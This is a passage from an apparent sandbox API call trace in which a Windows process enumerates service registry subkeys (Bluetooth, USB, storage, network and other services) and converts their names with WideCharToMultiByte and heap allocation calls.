Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.845] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.846] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.846] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.846] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0248.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.847] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.847] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.847] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0248.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0248.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0248.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0248.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0248.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0248.880] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0248.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0248.882] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0248.883] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0248.884] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0248.885] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0248.886] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0248.887] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0248.888] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0248.889] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0248.889] 